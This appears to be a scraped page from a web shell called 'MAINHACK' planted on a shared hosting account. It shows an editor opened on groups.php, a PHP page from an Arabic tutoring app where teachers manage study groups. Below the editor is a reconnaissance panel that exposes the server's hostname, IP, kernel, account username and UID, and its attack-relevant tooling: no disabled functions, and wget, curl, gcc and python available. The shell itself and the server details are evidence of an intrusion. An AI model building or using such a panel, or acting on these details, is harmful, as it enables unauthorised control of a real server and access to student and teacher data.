[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: groups.php
<?php /** * Groups Management Page * This page allows teachers to create and manage weekly study groups */ require_once '../config/config.php'; requireLogin('teacher'); $database = new Database(); $conn = $database->getConnection(); $teacher_id = $_SESSION['teacher_id']; $message = ''; $message_type = ''; // Handle form submissions if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['action'])) { switch ($_POST['action']) { case 'add': $grade_id = $_POST['grade_id']; $subject_id = $_POST['subject_id']; $name = trim($_POST['name']); $sessions_per_week = $_POST['sessions_per_week']; $day1 = $_POST['day1']; $time1 = $_POST['time1']; $day2 = $_POST['day2'] ?? null; $time2 = $_POST['time2'] ?? null; // Validate required fields if (empty($grade_id) || empty($subject_id) || empty($name) || empty($sessions_per_week) || empty($day1) || empty($time1)) { $message = 'يرجى إدخال جميع البيانات المطلوبة'; $message_type = 'danger'; } else { // Validate teacher assignment $check_query = "SELECT COUNT(*) as count FROM teacher_assignments WHERE teacher_id = :teacher_id AND grade_id = :grade_id AND subject_id = :subject_id"; $check_stmt = $conn->prepare($check_query); $check_stmt->bindParam(':teacher_id', $teacher_id); $check_stmt->bindParam(':grade_id', $grade_id); $check_stmt->bindParam(':subject_id', $subject_id); $check_stmt->execute(); if ($check_stmt->fetch(PDO::FETCH_ASSOC)['count'] == 0) { $message = 'لا يمكنك إنشاء مجموعة لمادة وصف غير مخصص لك'; $message_type = 'danger'; } else { // Validate second session data if needed if ($sessions_per_week == 2 && (empty($day2) || empty($time2))) { $message = 'يرجى إدخال بيانات الحصة الثانية'; $message_type = 'danger'; } else { $query = "INSERT INTO groups (teacher_id, grade_id, subject_id, name, sessions_per_week, day1, time1, day2, time2) VALUES (:teacher_id, :grade_id, :subject_id, :name, :sessions_per_week, :day1, :time1, :day2, :time2)"; $stmt = $conn->prepare($query); $stmt->bindParam(':teacher_id', $teacher_id); $stmt->bindParam(':grade_id', $grade_id); $stmt->bindParam(':subject_id', $subject_id); $stmt->bindParam(':name', $name); $stmt->bindParam(':sessions_per_week', $sessions_per_week); $stmt->bindParam(':day1', $day1); $stmt->bindParam(':time1', $time1); $stmt->bindParam(':day2', $day2); $stmt->bindParam(':time2', $time2); if ($stmt->execute()) { $message = 'تم إنشاء المجموعة بنجاح'; $message_type = 'success'; } else { $message = 'حدث خطأ أثناء إنشاء المجموعة'; $message_type = 'danger'; } } } } break; case 'edit': $id = $_POST['id']; $name = trim($_POST['name']); $sessions_per_week = $_POST['sessions_per_week']; $day1 = $_POST['day1']; $time1 = $_POST['time1']; $day2 = $_POST['day2'] ?? null; $time2 = $_POST['time2'] ?? null; // Validate required fields if (empty($id) || empty($name) || empty($sessions_per_week) || empty($day1) || empty($time1)) { $message = 'يرجى إدخال جميع البيانات المطلوبة'; $message_type = 'danger'; } else { // Validate second session data if needed if ($sessions_per_week == 2 && (empty($day2) || empty($time2))) { $message = 'يرجى إدخال بيانات الحصة الثانية'; $message_type = 'danger'; } else { $query = "UPDATE groups SET name = :name, sessions_per_week = :sessions_per_week, day1 = :day1, time1 = :time1, day2 = :day2, time2 = :time2 WHERE id = :id AND teacher_id = :teacher_id"; $stmt = $conn->prepare($query); $stmt->bindParam(':name', $name); $stmt->bindParam(':sessions_per_week', $sessions_per_week); $stmt->bindParam(':day1', $day1); $stmt->bindParam(':time1', $time1); $stmt->bindParam(':day2', $day2); $stmt->bindParam(':time2', $time2); $stmt->bindParam(':id', $id); $stmt->bindParam(':teacher_id', $teacher_id); if ($stmt->execute()) { $message = 'تم تحديث المجموعة بنجاح'; $message_type = 'success'; } else { $message = 'حدث خطأ أثناء تحديث المجموعة'; $message_type = 'danger'; } } } break; case 'toggle_status': $id = $_POST['id']; $is_active = $_POST['is_active'] == '1' ? 0 : 1; $query = "UPDATE groups SET is_active = :is_active WHERE id = :id AND teacher_id = :teacher_id"; $stmt = $conn->prepare($query); $stmt->bindParam(':is_active', $is_active); $stmt->bindParam(':id', $id); $stmt->bindParam(':teacher_id', $teacher_id); if ($stmt->execute()) { $status_text = $is_active ? 'تم تفعيل المجموعة' : 'تم إيقاف المجموعة'; $message = $status_text; $message_type = 'success'; } else { $message = 'حدث خطأ أثناء تحديث حالة المجموعة'; $message_type = 'danger'; } break; } } } // Get teacher's groups with related information $query = "SELECT g.*, CONCAT(st.name, ' - ', gr.name) as grade_info, sub.name as subject_name, COUNT(s.id) as students_count FROM groups g JOIN grades gr ON g.grade_id = gr.id JOIN stages st ON gr.stage_id = st.id JOIN subjects sub ON g.subject_id = sub.id LEFT JOIN students s ON g.id = s.group_id AND s.is_active = 1 WHERE g.teacher_id = :teacher_id GROUP BY g.id ORDER BY g.is_active DESC, g.created_at DESC"; $stmt = $conn->prepare($query); $stmt->bindParam(':teacher_id', $teacher_id); $stmt->execute(); $groups = $stmt->fetchAll(PDO::FETCH_ASSOC); // Get teacher's assigned subjects and grades for dropdown $assignments_query = "SELECT ta.grade_id, ta.subject_id, CONCAT(st.name, ' - ', g.name) as grade_name, sub.name as subject_name FROM teacher_assignments ta JOIN grades g ON ta.grade_id = g.id JOIN stages st ON g.stage_id = st.id JOIN subjects sub ON ta.subject_id = sub.id WHERE ta.teacher_id = :teacher_id ORDER BY st.name, g.name, sub.name"; $assignments_stmt = $conn->prepare($assignments_query); $assignments_stmt->bindParam(':teacher_id', $teacher_id); $assignments_stmt->execute(); $assignments = $assignments_stmt->fetchAll(PDO::FETCH_ASSOC); $page_title = 'إدارة المجموعات'; include '../includes/header.php'; ?> <div class="container-fluid"> <div class="row"> <!-- Sidebar --> <div class="col-lg-3 col-md-4 sidebar p-0"> <div class="d-flex flex-column h-100"> <div class="p-3 text-white"> <h4 class="mb-0"> <i class="fas fa-chalkboard-teacher me-2"></i> لوحة المعلم </h4> <small>مرحباً <?php echo $_SESSION['teacher_name']; ?></small> </div> <nav class="nav nav-pills flex-column p-3"> <a class="nav-link" href="dashboard.php"> <i class="fas fa-tachometer-alt me-2"></i>الرئيسية </a> <a class="nav-link" href="subjects_grades.php"> <i class="fas fa-book me-2"></i>المواد والصفوف </a> <a class="nav-link active" href="groups.php"> <i class="fas fa-users me-2"></i>المجموعات </a> <a class="nav-link" href="students.php"> <i class="fas fa-user-graduate me-2"></i>الطلاب </a> <a class="nav-link" href="attendance.php"> <i class="fas fa-clipboard-check me-2"></i>تسجيل الحضور </a> <a class="nav-link" href="makeup_sessions.php"> <i class="fas fa-redo me-2"></i>حصص التعويض </a> <a class="nav-link" href="reports.php"> <i class="fas fa-chart-bar me-2"></i>التقارير </a> <div class="mt-auto"> <a class="nav-link text-light" href="../logout.php"> <i class="fas fa-sign-out-alt me-2"></i>تسجيل الخروج </a> </div> </nav> </div> </div> <!-- Main Content --> <div class="col-lg-9 col-md-8 main-content p-4"> <div class="d-flex justify-content-between align-items-center mb-4"> <h2>إدارة المجموعات الأسبوعية</h2> <?php if (!empty($assignments)): ?> <button class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#addGroupModal"> <i class="fas fa-plus me-2"></i>إنشاء مجموعة جديدة </button> <?php endif; ?> </div> <!-- Messages --> <?php if (!empty($message)): ?> <div class="alert alert-<?php echo $message_type; ?> alert-dismissible fade show" role="alert"> <i class="fas fa-<?php echo $message_type == 'success' ? 'check-circle' : 'exclamation-triangle'; ?> me-2"></i> <?php echo $message; ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <?php if (empty($assignments)): ?> <!-- No Assignments Alert --> <div class="alert alert-warning"> <i class="fas fa-exclamation-triangle me-2"></i> يجب عليك أولاً اختيار المواد والصفوف التي تدرسها قبل إنشاء المجموعات. <a href="subjects_grades.php" class="btn btn-sm btn-warning ms-2"> <i class="fas fa-book me-1"></i>اختيار المواد والصفوف </a> </div> <?php else: ?> <!-- Groups Table --> <div class="card"> <div class="card-header"> <h5 class="mb-0">قائمة المجموعات</h5> </div> <div class="card-body"> <?php if (empty($groups)): ?> <div class="text-center py-4"> <i class="fas fa-users fa-3x text-muted mb-3"></i> <h5>لا توجد مجموعات بعد</h5> <p class="text-muted">ابدأ بإنشاء مجموعة جديدة</p> </div> <?php else: ?> <div class="table-responsive"> <table class="table table-striped"> <thead> <tr> <th>اسم المجموعة</th> <th>الصف والمادة</th> <th>عدد الطلاب</th> <th>مواعيد الحصص</th> <th>الحالة</th> <th>الإجراءات</th> </tr> </thead> <tbody> <?php foreach ($groups as $group): ?> <tr> <td> <strong><?php echo htmlspecialchars($group['name']); ?></strong> </td> <td> <small class="text-muted"> <?php echo htmlspecialchars($group['grade_info']); ?><br> <span class="badge bg-info"><?php echo htmlspecialchars($group['subject_name']); ?></span> </small> </td> <td> <span class="badge bg-primary"><?php echo $group['students_count']; ?> طالب</span> </td> <td> <small> <?php echo $group['day1'] . ' ' . date('g:i A', strtotime($group['time1'])); ?> <?php if ($group['sessions_per_week'] == 2): ?> <br><?php echo $group['day2'] . ' ' . date('g:i A', strtotime($group['time2'])); ?> <?php endif; ?> </small> </td> <td> <?php if ($group['is_active']): ?> <span class="badge bg-success">نشطة</span> <?php else: ?> <span class="badge bg-secondary">متوقفة</span> <?php endif; ?> </td> <td> <div class="btn-group" role="group"> <a href="students.php?group_id=<?php echo $group['id']; ?>" class="btn btn-sm btn-outline-primary" title="إدارة الطلاب"> <i class="fas fa-user-graduate"></i> </a> <a href="attendance.php?group_id=<?php echo $group['id']; ?>" class="btn btn-sm btn-outline-success" title="تسجيل الحضور"> <i class="fas fa-clipboard-check"></i> </a> <button class="btn btn-sm btn-outline-warning" onclick="editGroup(<?php echo htmlspecialchars(json_encode($group)); ?>)" title="تعديل"> <i class="fas fa-edit"></i> </button> <form method="POST" style="display: inline;"> <input type="hidden" name="action" value="toggle_status"> <input type="hidden" name="id" value="<?php echo $group['id']; ?>"> <input type="hidden" name="is_active" value="<?php echo $group['is_active']; ?>"> <button type="submit" class="btn btn-sm btn-outline-<?php echo $group['is_active'] ? 'secondary' : 'success'; ?>" title="<?php echo $group['is_active'] ? 'إيقاف' : 'تفعيل'; ?>" onclick="return confirm('هل أنت متأكد من <?php echo $group['is_active'] ? 'إيقاف' : 'تفعيل'; ?> هذه المجموعة؟')"> <i class="fas fa-<?php echo $group['is_active'] ? 'pause' : 'play'; ?>"></i> </button> </form> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endif; ?> </div> </div> <?php endif; ?> </div> </div> </div> <!-- Add Group Modal --> <div class="modal fade" id="addGroupModal" tabindex="-1"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">إنشاء مجموعة جديدة</h5> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <form method="POST" action=""> <div class="modal-body"> <input type="hidden" name="action" value="add"> <div class="row"> <div class="col-md-6 mb-3"> <label for="gradeSubject" class="form-label">الصف والمادة</label> <select class="form-select" id="gradeSubject" name="grade_subject" required onchange="updateGradeSubject()"> <option value="">اختر الصف والمادة</option> <?php foreach ($assignments as $assignment): ?> <option value="<?php echo $assignment['grade_id'] . '_' . $assignment['subject_id']; ?>"> <?php echo htmlspecialchars($assignment['grade_name'] . ' - ' . $assignment['subject_name']); ?> </option> <?php endforeach; ?> </select> <input type="hidden" id="grade_id" name="grade_id"> <input type="hidden" id="subject_id" name="subject_id"> </div> <div class="col-md-6 mb-3"> <label for="groupName" class="form-label">اسم المجموعة</label> <input type="text" class="form-control" id="groupName" name="name" required placeholder="مثال: مجموعة الرياضيات المسائية"> </div> </div> <div class="mb-3"> <label for="sessionsPerWeek" class="form-label">عدد الحصص في الأسبوع</label> <select class="form-select" id="sessionsPerWeek" name="sessions_per_week" required onchange="toggleSecondSession()"> <option value="">اختر عدد الحصص</option> <option value="1">حصة واحدة</option> <option value="2">حصتان</option> </select> </div> <!-- First Session --> <div class="card mb-3"> <div class="card-header"> <h6 class="mb-0">الحصة الأولى</h6> </div> <div class="card-body"> <div class="row"> <div class="col-md-6 mb-3"> <label for="day1" class="form-label">اليوم</label> <select class="form-select" id="day1" name="day1" required> <option value="">اختر اليوم</option> <option value="السبت">السبت</option> <option value="الأحد">الأحد</option> <option value="الاثنين">الاثنين</option> <option value="الثلاثاء">الثلاثاء</option> <option value="الأربعاء">الأربعاء</option> <option value="الخميس">الخميس</option> <option value="الجمعة">الجمعة</option> </select> </div> <div class="col-md-6 mb-3"> <label for="time1" class="form-label">الوقت</label> <input type="time" class="form-control" id="time1" name="time1" required> </div> </div> </div> </div> <!-- Second Session --> <div class="card mb-3" id="secondSessionCard" style="display: none;"> <div class="card-header"> <h6 class="mb-0">الحصة الثانية</h6> </div> <div class="card-body"> <div class="row"> <div class="col-md-6 mb-3"> <label for="day2" class="form-label">اليوم</label> <select class="form-select" id="day2" name="day2"> <option value="">اختر اليوم</option> <option value="السبت">السبت</option> <option value="الأحد">الأحد</option> <option value="الاثنين">الاثنين</option> <option value="الثلاثاء">الثلاثاء</option> <option value="الأربعاء">الأربعاء</option> <option value="الخميس">الخميس</option> <option value="الجمعة">الجمعة</option> </select> </div> <div class="col-md-6 mb-3"> <label for="time2" class="form-label">الوقت</label> <input type="time" class="form-control" id="time2" name="time2"> </div> </div> </div> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">إلغاء</button> <button type="submit" class="btn btn-primary"> <i class="fas fa-save me-2"></i>إنشاء المجموعة </button> </div> </form> </div> </div> </div> <!-- Edit Group Modal --> <div class="modal fade" id="editGroupModal" tabindex="-1"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">تعديل المجموعة</h5> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <form method="POST" action=""> <div class="modal-body"> <input type="hidden" id="editGroupId" name="id"> <input type="hidden" name="action" value="edit"> <div class="mb-3"> <label for="editGroupName" class="form-label">اسم المجموعة</label> <input type="text" class="form-control" id="editGroupName" name="name" required> </div> <div class="mb-3"> <label for="editSessionsPerWeek" class="form-label">عدد الحصص في الأسبوع</label> <select class="form-select" id="editSessionsPerWeek" name="sessions_per_week" required onchange="toggleEditSecondSession()"> <option value="1">حصة واحدة</option> <option value="2">حصتان</option> </select> </div> <!-- First Session --> <div class="card mb-3"> <div class="card-header"> <h6 class="mb-0">الحصة الأولى</h6> </div> <div class="card-body"> <div class="row"> <div class="col-md-6 mb-3"> <label for="editDay1" class="form-label">اليوم</label> <select class="form-select" id="editDay1" name="day1" required> <option value="السبت">السبت</option> <option value="الأحد">الأحد</option> <option value="الاثنين">الاثنين</option> <option value="الثلاثاء">الثلاثاء</option> <option value="الأربعاء">الأربعاء</option> <option value="الخميس">الخميس</option> <option value="الجمعة">الجمعة</option> </select> </div> <div class="col-md-6 mb-3"> <label for="editTime1" class="form-label">الوقت</label> <input type="time" class="form-control" id="editTime1" name="time1" required> </div> </div> </div> </div> <!-- Second Session --> <div class="card mb-3" id="editSecondSessionCard"> <div class="card-header"> <h6 class="mb-0">الحصة الثانية</h6> </div> <div class="card-body"> <div class="row"> <div class="col-md-6 mb-3"> <label for="editDay2" class="form-label">اليوم</label> <select class="form-select" id="editDay2" name="day2"> <option value="">اختر اليوم</option> <option value="السبت">السبت</option> <option value="الأحد">الأحد</option> <option value="الاثنين">الاثنين</option> <option value="الثلاثاء">الثلاثاء</option> <option value="الأربعاء">الأربعاء</option> <option value="الخميس">الخميس</option> <option value="الجمعة">الجمعة</option> </select> </div> <div class="col-md-6 mb-3"> <label for="editTime2" class="form-label">الوقت</label> <input type="time" class="form-control" id="editTime2" name="time2"> </div> </div> </div> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">إلغاء</button> <button type="submit" class="btn btn-warning"> <i class="fas fa-save me-2"></i>حفظ التغييرات </button> </div> </form> </div> </div> </div> <script> function updateGradeSubject() { const gradeSubject = document.getElementById('gradeSubject').value; if (gradeSubject) { const parts = gradeSubject.split('_'); document.getElementById('grade_id').value = parts[0]; document.getElementById('subject_id').value = parts[1]; } } function toggleSecondSession() { const sessions = document.getElementById('sessionsPerWeek').value; const secondCard = document.getElementById('secondSessionCard'); const day2 = document.getElementById('day2'); const time2 = document.getElementById('time2'); if (sessions == '2') { secondCard.style.display = 'block'; day2.required = true; time2.required = true; } else { secondCard.style.display = 'none'; day2.required = false; time2.required = false; day2.value = ''; time2.value = ''; } } function toggleEditSecondSession() { const sessions = document.getElementById('editSessionsPerWeek').value; const secondCard = document.getElementById('editSecondSessionCard'); const day2 = document.getElementById('editDay2'); const time2 = document.getElementById('editTime2'); if (sessions == '2') { secondCard.style.display = 'block'; day2.required = true; time2.required = true; } else { secondCard.style.display = 'none'; day2.required = false; time2.required = false; day2.value = ''; time2.value = ''; } } function editGroup(group) { document.getElementById('editGroupId').value = group.id; document.getElementById('editGroupName').value = group.name; document.getElementById('editSessionsPerWeek').value = group.sessions_per_week; document.getElementById('editDay1').value = group.day1; document.getElementById('editTime1').value = group.time1; if (group.sessions_per_week == 2) { document.getElementById('editSecondSessionCard').style.display = 'block'; document.getElementById('editDay2').value = group.day2; document.getElementById('editTime2').value = group.time2; document.getElementById('editDay2').required = true; document.getElementById('editTime2').required = true; } else { document.getElementById('editSecondSessionCard').style.display = 'none'; document.getElementById('editDay2').required = false; document.getElementById('editTime2').required = false; } const modal = new bootstrap.Modal(document.getElementById('editGroupModal')); modal.show(); } </script> <?php include '../includes/footer.php'; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285